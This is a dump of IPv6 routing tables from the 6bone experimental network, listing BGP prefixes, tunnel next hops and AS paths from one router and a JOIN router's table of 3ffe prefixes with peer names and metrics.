> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
>   5F00:ED00:C66C:3C00::0/64
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
>   5F01:F00:8E67:A00::0/64
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
>   5F02:2000:C1D1:ED00::0/64
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F02:2F00::0/32
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F02:3000:84B1:7900:1::0/80
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F02:3000:84B1::0/48
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F02:3000:C020:AE00:201D::0/80
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F02:3000:C020:AE00:B180::0/80
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F02:AD00::0/32
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
>   5F02:BD00:D0D0:D800::0/80
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F04:4F00::BBBB:1103:3274:0/112
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
>   5F04:4F00::BBBB:1103:3582:0/112
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
>   5F04:C900:8367:2::0/80
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
>   5F04:F900::0/32
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
>   5F04:FB00::0/32
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F06:2800:967E:F300::0/64
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
>   5F06:8900::0/80
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F06:8900:0:1:3::0/80
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F06:D500::0/32
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F06:D800::0/32
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
>   5F06:F900:8DFE:100::0/64
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F07:2B00::0/32
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
>   5F09:F300:9842:4C00::0/80
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F09:F300:9842:4C00:4C::0/80
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F09:F400:CF57:2E00::0/64
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
>   5F0B:1700:C10A:4200::0/64
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F0B:2900::0/32
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
>   5F0B:3700::0/32
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
>   5F0B:4F00:C1E9:700::0/64
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
>   5F0D:500:C100::0/64
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
>   5F0D:E900:9EA5:800:8::0/80
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  5F00:6D00:0:E:8::2 FE80::C5A:CB51:A Tunnel7 3582 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F15:A300::4:0/126
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
>   5F1A:6D00:C269:A600::0/64
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
>   5F1B:5000::1:0:0:0/80
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F1B:5000::0/32
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F1D:800:D009:200::0/80
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 i
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 i
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 i
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 i
>   5F21:EA00:C20C:E000:0:60::0/96
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
>   5F28:1D00:C171:3A00::0/64
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
>   5FFF:FF00:C0A8:C00::0/64
> 	 *> 5F00:6D00:0:E:D::2 FE80::C8E:50C2:6 Tunnel12 1225 1275 ?
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1225 1275 ?
> 	 *  5F00:6D00:0:E:F::2 FE80::60:2FA7:ED00:8 Tunnel14 4555 1225 1275 ?
> 	 *  3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 1225 1275 ?
>   0::0/0
> 	 *  3FFE:DFE:1::9 FE80::E0:B0E2:3AB9:9 Tunnel26 1673 1849 5539 4555 1225 1275 ?
> 	 *> 3FFE:1100:0:C1B::1 FE80::60:3E59:4D90:E Tunnel20 1849 5539 4555 1225 1275 ?
> 6bone-router>


===============================================================================
The complete JOIN routing table for the 3ffe prefixes:

3ffe::/24                                         CICNET      15 BGP            
( AS Path: 1225 109 48 )
3ffe::/24                                             G6      20 BGP            
( AS Path: 1717 786 109 48 )
3ffe::/24                                        SURFNET      20 BGP            
( AS Path: 1103 1225 109 48 )
3ffe::/24                                         SWITCH      25 BGP            
( AS Path: 559 1717 786 109 48 )
3ffe:100::/24                                    TELEBIT       5 BGP            
( AS Path: 3263 )
3ffe:100::/24                                    SURFNET      10 BGP            
( AS Path: 1103 3263 )
3ffe:200::/24                                     SWITCH      50 BGP            
3ffe:300::/24                                         G6       5 BGP            
( AS Path: 1717 )
3ffe:300::/24                                  INFN-CNAF      10 BGP            
( AS Path: 137 1717 )
3ffe:300::/24                                    SURFNET      10 BGP            
( AS Path: 1103 1717 )
3ffe:301:dec1::/48                                SWITCH      50 BGP            
3ffe:302:11:2:0:2:0:50/124                     INFN-CNAF      50 BGP-INCOMPLETE 
( AS Path: 137 )
3ffe:400::/24                                       NULL       0 Own Aggregation
3ffe:400::/24                                     SWITCH      50 BGP            3ffe:400:10:100::/64                             lan5.v6       1 Configured broa
3ffe:400:10:100:200:a2ff:fec2:cbf2/128           paladin       1 Configured Peer
3ffe:400:10:100:2c0:33ff:fe00:11/128             lan5.v6       0 Configured path
3ffe:400:10:102::/64                             lan5.v6       1 Static path    
( NextHop: 3ffe:400:10:100:2c0:33ff:fe02:10 )
3ffe:400:10:103::/64                             lan5.v6       1 Static path    
( NextHop: 3ffe:400:10:100:2c0:33ff:fe02:12 )
3ffe:400:10:104::/64                             lan5.v6       1 Static path    
( NextHop: 3ffe:400:10:100:20c:14ff:fec9:90 )
3ffe:400:40::/48                               TU-BERLIN       1 Static path    
3ffe:400:40:100:0:0:c0d4:4a6b/128              TU-BERLIN       1 Configured Peer
3ffe:400:50::/48                                  FAUERN       2 RIPv6          
3ffe:400:50:1:0:0:0:1/128                         FAUERN       1 Configured Peer
3ffe:400:60::/48                                 UNI-ULM       1 Static path    3ffe:400:60:1:a00:20ff:fe19:4a08/128             UNI-ULM       1 Configured Peer
3ffe:400:e0::/48                                     LRZ       1 Static path    
3ffe:400:e0:902:0:0:0:1/128                          LRZ       1 Configured Peer
3ffe:401::/64                                    lan1.v6       1 Configured broa
3ffe:401:0:0:2c0:33ff:fe02:14/128                UNI-ULM       0 Configured path
3ffe:401:0:0:2c0:33ff:fe02:14/128              TU-BERLIN       0 Configured path
3ffe:401:0:0:2c0:33ff:fe02:14/128                    LRZ       0 Configured path
3ffe:401:0:0:2c0:33ff:fe02:14/128              INFN-CNAF       0 Configured path
3ffe:401:0:0:2c0:33ff:fe02:14/128                 FAUERN       0 Configured path
3ffe:401:0:0:2c0:33ff:fe02:14/128                    BAY       0 Configured path
3ffe:401:0:0:2c0:33ff:fe02:14/128        ATT-LABS-EUROPE       0 Configured path3ffe:401:0:0:2c0:33ff:fe02:14/128                paladin       0 Configured path
3ffe:401:0:0:2c0:33ff:fe02:14/128                lan1.v6       0 Configured path
3ffe:600::/24                                    SURFNET       5 BGP            
( AS Path: 1103 )
3ffe:600::/24                                     CICNET      10 BGP            
( AS Path: 1225 1103 )
3ffe:600::/24                                         G6      10 BGP            
( AS Path: 1717 1103 )
3ffe:600:8000:0:0:0:0:4/126                       SWITCH      50 BGP-INCOMPLETE 
3ffe:604:2::/48                                  SURFNET      10 BGP            
( AS Path: 1103 1891 )
3ffe:604:2::/48                                       G6      15 BGP            
( AS Path: 1717 1103 1891 )
3ffe:604:2::/48                                   CICNET      15 BGP            
( AS Path: 1225 1103 1891 )
3ffe:700::/24                                      ESNET       5 BGP            
( AS Path: 293 )
3ffe:700::/24                                  INFN-CNAF      10 BGP            
( AS Path: 137 293 )
3ffe:700:20:1:0:0:0:1/128                          ESNET       1 Configured Peer
3ffe:700:20:1:0:0:0:2/128                          ESNET       0 Configured path
3ffe:700:20:2:0:0:0:8/126                         CICNET      50 BGP-INCOMPLETE 
( AS Path: 1225 1103 1717 137 )
3ffe:700:20:2:0:0:0:8/126                         SWITCH      50 BGP-INCOMPLETE 
( AS Path: 559 1717 137 )
3ffe:700:20:2:0:0:0:8/126                        SURFNET      50 BGP-INCOMPLETE 
( AS Path: 1103 1717 137 )
3ffe:700:20:2:0:0:0:8/126                             G6      50 BGP-INCOMPLETE 
( AS Path: 1717 137 )
3ffe:700:20:2:0:0:0:8/126                      INFN-CNAF      50 BGP-INCOMPLETE 
( AS Path: 137 )
3ffe:800::/32                                     CICNET      10 BGP            
( AS Path: 1225 4555 )
3ffe:800::/32                                    SURFNET      10 BGP            
( AS Path: 1103 4555 )
3ffe:800::/32                                         G6      15 BGP            
( AS Path: 1717 1103 4555 )
3ffe:900::/24                                     CICNET       5 BGP            
( AS Path: 1225 )
3ffe:900::/24                                    SURFNET      10 BGP            
( AS Path: 1103 1225 )
3ffe:a00::/24                                    SURFNET      10 BGP-INCOMPLETE 
3ffe:a00::/24                                     SWITCH      50 BGP-INCOMPLETE 
3ffe:c00::/24                                     CICNET      10 BGP            
( AS Path: 1225 109 )
3ffe:c00::/24                                    SURFNET      15 BGP            
( AS Path: 1103 1225 109 )
3ffe:c00::/24                                         G6      15 BGP            
( AS Path: 1717 786 109 )
3ffe:c00::/24                                     SWITCH      20 BGP            
( AS Path: 559 1717 786 109 )
3ffe:d01:0:0:0:0:0:4/126                          CICNET      10 BGP            
( AS Path: 1225 1673 )
3ffe:d01:0:0:0:0:0:4/126                         SURFNET      15 BGP            
( AS Path: 1103 1225 1673 )
3ffe:dfe:1:0:0:0:0:8/126                          CICNET      10 BGP            
( AS Path: 1225 1673 )
3ffe:dfe:1:0:0:0:0:8/126                         SURFNET      15 BGP            
( AS Path: 1103 1225 1673 )
3ffe:dfe:fffe:0:0:0:0:4/126                       CICNET      10 BGP            
( AS Path: 1225 1673 )
3ffe:dfe:fffe:0:0:0:0:4/126                      SURFNET      15 BGP            
( AS Path: 1103 1225 1673 )
3ffe:f00::/24                                     CICNET      15 BGP            
( AS Path: 1225 109 48 )
3ffe:f00::/24                                    SURFNET      20 BGP            
( AS Path: 1103 1225 109 48 )
3ffe:f00::/24                                         G6      20 BGP            
( AS Path: 1717 786 109 48 )
3ffe:f00::/24                                     SWITCH      25 BGP            
( AS Path: 559 1717 786 109 48 )
3ffe:1000::/24                                    SWITCH     212 BGP            
3ffe:1100::/24                                    CICNET      10 BGP            
( AS Path: 1225 1849 )
3ffe:1100::/24                                   SURFNET      10 BGP            
( AS Path: 1103 1849 )
3ffe:1100::/24                                        G6      15 BGP            
( AS Path: 1717 1103 1849 )
3ffe:1100:0:1420::/64                             SWITCH      50 BGP            3ffe:1108:800::/40                                SWITCH      50 BGP            
3ffe:1200::/24                                    CICNET      15 BGP            
( AS Path: 1225 1849 33 )
3ffe:1200::/24                                   SURFNET      15 BGP            
( AS Path: 1103 1849 33 )
3ffe:1200::/24                                        G6      20 BGP            
( AS Path: 1717 1103 1849 33 )
3ffe:1300::/24                                       BAY       2 RIPv6          
3ffe:1300::/24                                    SWITCH      50 BGP            
3ffe:1300:0:0:0:0:0:1/128                            BAY       1 Configured Peer
3ffe:1400::/24                                    SWITCH      50 BGP            
3ffe:1500:0:0:fffe:0:0:14/126                     SWITCH      50 BGP            
3ffe:1500:0:0:fffe:0:0:1c/126                     SWITCH      50 BGP            
3ffe:1500:0:0:fffe:0:1ea1::/126                   SWITCH      50 BGP            3ffe:1600::/32                                    CICNET      15 BGP            
( AS Path: 1225 109 7472 )
3ffe:1600::/32                                   SURFNET      20 BGP            
( AS Path: 1103 1225 109 7472 )
3ffe:1600::/32                                        G6      20 BGP            
( AS Path: 1717 786 109 7472 )
3ffe:1600::/32                                    SWITCH      25 BGP            
( AS Path: 559 1717 786 109 7472 )
3ffe:1c00::/24                                    SWITCH      50 BGP-INCOMPLETE 
3ffe:1c00:0:60::/64                               SWITCH      50 BGP-INCOMPLETE 
3ffe:1d00::/24                           ATT-LABS-EUROPE       5 BGP            
( AS Path: 5623 )
3ffe:1d00::/24                                        G6      10 BGP            
( AS Path: 1717 5623 )
3ffe:1d00:1:100:a00:2bff:feb7:87f8/128   ATT-LABS-EUROPE       1 Configured Peer
3ffe:1d04::/32                                   SURFNET      10 BGP            
( AS Path: 1103 6905 )
3ffe:1d04::/32                                    CICNET      15 BGP            
( AS Path: 1225 1103 6905 )
3ffe:1d04::/32                                    SWITCH      15 BGP            
( AS Path: 559 5623 6905 )
3ffe:1d04::/32                                        G6      15 BGP            
( AS Path: 1717 1103 6905 )
3ffe:1d04::/124                                   SWITCH      50 BGP            
3ffe:1d04:1::/64                                  SWITCH      50 BGP            
3ffe:1d05::/32                                    SWITCH      50 BGP            
3ffe:1dec::/32                                    SWITCH      50 BGP            
3ffe:1e00::/24                                    SWITCH      50 BGP-INCOMPLETE 
3ffe:1f00::/24                                    CICNET      15 BGP            
( AS Path: 1225 1849 5571 )
3ffe:1f00::/24                                   SURFNET      15 BGP            
( AS Path: 1103 1849 5571 )
3ffe:1f00::/24                                        G6      20 BGP            
( AS Path: 1717 1103 1849 5571 )
3ffe:2000::/24                                    SWITCH       5 BGP            
( AS Path: 559 )
3ffe:2000::/24                                 INFN-CNAF      10 BGP            
( AS Path: 137 559 )
3ffe:2000::/24                                        G6      10 BGP            
( AS Path: 1717 559 )
3ffe:2000:0:1::/128                               SWITCH       1 Configured Peer
3ffe:2000:0:1:0:0:0:1/128                         SWITCH       0 Configured path
3ffe:2000:0:1:0:0:0:60/124                        CICNET      50 BGP-INCOMPLETE 
( AS Path: 1225 1103 1717 137 )
3ffe:2000:0:1:0:0:0:60/124                        SWITCH      50 BGP-INCOMPLETE 
( AS Path: 559 1717 137 )
3ffe:2000:0:1:0:0:0:60/124                       SURFNET      50 BGP-INCOMPLETE 
( AS Path: 1103 1717 137 )
3ffe:2000:0:1:0:0:0:60/124                            G6      50 BGP-INCOMPLETE 
( AS Path: 1717 137 )
3ffe:2000:0:1:0:0:0:60/124                     INFN-CNAF      50 BGP-INCOMPLETE 
( AS Path: 137 )
3ffe:2100::/24                                   SURFNET      10 BGP            
( AS Path: 1103 786 )
3ffe:2100::/24                                        G6      10 BGP            
( AS Path: 1717 786 )
3ffe:2100::/24                                    CICNET      15 BGP            
( AS Path: 1225 1849 786 )
3ffe:2100::/24                                 INFN-CNAF      15 BGP            
( AS Path: 137 1717 786 )
3ffe:2100::/24                                    SWITCH      15 BGP            
( AS Path: 559 1717 786 )
3ffe:2300::/24                                 INFN-CNAF       5 BGP            
( AS Path: 137 )
3ffe:2300::/24                                        G6      10 BGP            
( AS Path: 1717 137 )
3ffe:2300:0:ffff:0:0:0:9/128                   INFN-CNAF       1 Configured Peer
3ffe:2400::/24                                    CICNET      10 BGP            
( AS Path: 1225 109 )
3ffe:2400::/24                                   SURFNET      15 BGP            
( AS Path: 1103 1225 109 )
3ffe:2400::/24                                        G6      15 BGP            
( AS Path: 1717 786 109 )
3ffe:2400::/24                                    SWITCH      20 BGP            
( AS Path: 559 1717 786 109 )
3ffe:2500::/24                                   SURFNET      10 BGP            
